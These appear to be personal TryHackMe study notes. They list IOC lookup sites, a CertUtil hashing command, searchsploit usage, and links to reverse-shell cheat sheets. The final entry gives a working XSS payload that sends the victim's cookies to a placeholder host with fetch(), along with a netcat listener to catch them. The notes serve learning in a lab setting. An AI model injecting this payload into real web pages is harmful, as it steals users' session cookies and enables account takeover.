Sunday, February 16, 2025

[TryHackMe] IOC Search

 https://metadefender.com/


https://talosintelligence.com/


https://www.virustotal.com/gui/home/upload


PS: Obtain SHA256 under Windows

#CertUtil -hashfile [FILENAME] SHA256

[TryHackMe] Shellcode/Payload

 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md


https://web.archive.org/web/20200901140719/http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet


https://github.com/danielmiessler/SecLists

Thursday, February 13, 2025

[TryHackMe] SearchSploit

 Update Searchsploit

# searchsploit -u


Search exploits

# searchsploit KEYWORD

Friday, February 7, 2025

[TryHackMe] Cookie Hijacking through XSS

 XSS Payload:

</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>


Listening side:

#nc -nvlp PORT_NUMBER